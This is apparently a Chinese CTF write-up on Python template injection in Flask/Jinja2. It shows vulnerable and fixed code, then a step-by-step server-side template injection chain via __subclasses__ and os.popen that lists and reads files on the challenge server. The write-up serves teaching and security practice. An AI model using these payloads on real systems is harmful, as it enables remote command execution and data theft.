• Web_python_template_injection


    Web_python_template_injection

    知识点

    flask框架

    python中编写的主流web框架有Django、Tornado、Flask、Twisted。这里主要介绍flask框架。

    先看一段代码

    from flask import Flask
    app = Flask(__name__)
    @app.route('/')
    def index():
        return 'Hello World'
    
    app.run()
    

    route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index的时候,flask会返回hello world。

    flask框架是基于Jinjia2模板引擎实现的。代码:

    from  flask import  Flask
    
    from  flask import  render_template
    
    app  =  Flask(__name__)
    
    @app.route('/hello')
    
    @app.route('/hello/<name>')
    
    def  hello(name=None):
    
        return  render_template('hello.html',  name=name)
    
    app.run()
    
    

    这段代码”hello()”函数并不是直接返回字符串,而是调用了”render_template()”方法来渲染模板。方法的第一个参数”hello.html”指向你想渲染的模板名称,第二个参数”name”是你要传到模板去的变量,变量可以传多个。

    那么这个模板”hello.html”在哪儿呢,变量参数又该怎么用呢?接下来我们创建模板文件。在当前目录下,创建一个子目录”templates”(注意,一定要使用这个名字)。然后在”templates”目录下创建文件”hello.html”,内容如下:

    <!doctype html>
    
    <title>Hello Sample</title>
    
    {% if name %}
    
      <h1>Hello {{ name }}!</h1>
    
    {% else %}
    
      <h1>Hello World!</h1>
    
    {%  endif  %}
    

    接触过其他模板引擎的朋友们肯定立马秒懂了这段代码。它就是一个HTML模板,根据”name”变量的值,显示不同的内容。变量或表达式由”{{ }}”修饰,而控制语句由”{% %}”修饰,其他的代码,就是我们常见的HTML。让我们打开浏览器,输入”http://localhost:5000/hello/man”,页面上即显示大标题”Hello man!”。我们再看下页面源代码

    <!doctype html>
    
    <title>Hello from Flask</title>
    
      <h1>Hello man!</h1>
    

    果然,模板代码进入了”Hello {{ name }}!”分支,而且变量”{{ name }}”被替换为了”man”。就实现了不同的用户呈现的内容(如,用户名,个人信息)啥的不同。Jinja2的模板引擎还有更多强大的功能,包括for循环,过滤器等。模板里也可以直接访问内置对象如request, session等。

    以上内容参考博客

    python中flask模板注入

    flask模板中含有render_template_string,和render_template,前者用来渲染字符串,后者用来渲染模板。不正确的使用flask中的render_template_string方法会引发SSTI。

    漏洞代码

    from  flask import  Flask
    from flask import render_template_string
    from flask import request
    
    app  =  Flask(__name__)
    
    @app.route("/")
    
    def test():
        code = request.args.get('id')
        html='<h3>%s</h3>'%code
        return render_template_string(html)
    
    app.run()
    

    代码中的id参数是用户可控的,并且是对直接对模板进行控制,简单说就是先填充好变量,再进行渲染,这时就会造成漏洞

    构造

    ?id=<script>alert(111)</script>
    

    可以看到


    xss代码直接插入了页面中,进行了xss攻击,事实上可以进行的不止xss攻击。

    正确代码

    from  flask import  Flask
    from flask import render_template_string
    from flask import request
    
    app  =  Flask(__name__)
    
    @app.route("/")
    
    def test():
        code1 = request.args.get('id')
        html='<h3>{{code}}</h3>'
        return render_template_string(html,code=code1)
    
    app.run()
    

    可以看到


    xss语句并没有被执行,原因在于render_template_string函数会对变量中的内容进行实体转义,返回的是一个字符串而不是html文档,这里可能有点难理解,简单说正确代码是直接用变量去代替Jinja2的{{code}}内容,用户可以控制的是变量而不是模板。

    思路

    先随便构造

    URL http://220.249.52.133:47213/1111
    

    然后发现返回的是

    URL http://220.249.52.133:47213/1111 not found
    

    这说明构造的payload可能会显示在页面中

    测试是否有模板注入漏洞

    http://111.198.29.45:46675/{{7*7}}
    

    服务器返回

    URL http://111.198.29.45:46675/49 not found
    

    说明7*7被成功执行,存在模板注入漏洞。

    接下来,开始想办法编代码拿到服务器的控制台权限

    看了师傅们的文章,是通过python的对象的继承来一步步实现文件读取和命令执行的的。顺着师傅们的思路,再理一遍。

    找到父类<type 'object'>-->寻找子类(引用)-->找关于命令执行或者文件操作的模块(引用中有模块)。

    题目告诉我们这是一个python注入问题,那么脚本肯定也是python的,思考怎样用python语句获取控制台权限:想到了os.systemos.popen(参考资料),这两句前者返回退出状态码,后者以file形式返回输出内容,我们想要的是内容,所以选择os.popen

    __class__ //返回对象所属的类
    __mro__ //返回一个类所继承的基类
    __base__ //返回该类所继承的基类
    //__mro__和__base__都是寻找该类继承的基类
    __subclasses__()  //返回基类可用引用
    __init__   //类的初始化方法
    __globals__    //对包含函数全局变量的字典的引用
    

    首先找到当前变量所在的类

    http://220.249.52.133:47213/{{''.__class__}}

    返回 URL http://220.249.52.133:47213/<type 'str'> not found

    找object父类

    http://220.249.52.133:47213/{{''.__class__.__mro__}}

    返回 URL http://220.249.52.133:47213/(<type 'str'>, <type 'basestring'>, <type 'object'>) not found

    找object可用引用

    http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()}}

    返回:一大堆可用引用,从其中可以找到我们想要的os所在的site._Printer类,它在列表的第七十二位,即__subclasses__()[71]

    利用os模块读取目录

    http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

    返回 URL http://220.249.52.133:47213/fl4g index.py not found

    读取fl4g中内容

    http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

    http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

    [40]号可用引用是file

    常用payload还有

    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')返回的是状态码,我们要结合curl命令,可(参考资料)

    参考:xctf中write up

  • 相关阅读:
    HDU 6071
    HDU 6073
    HDU 2124 Repair the Wall(贪心)
    HDU 2037 今年暑假不AC(贪心)
    HDU 1257 最少拦截系统(贪心)
    HDU 1789 Doing Homework again(贪心)
    HDU 1009 FatMouse' Trade(贪心)
    HDU 2216 Game III(BFS)
    HDU 1509 Windows Message Queue(队列)
    HDU 1081 To The Max(动态规划)
  • 原文地址:https://www.cnblogs.com/NineOne/p/13811785.html
Copyright © 2020-2023  润新知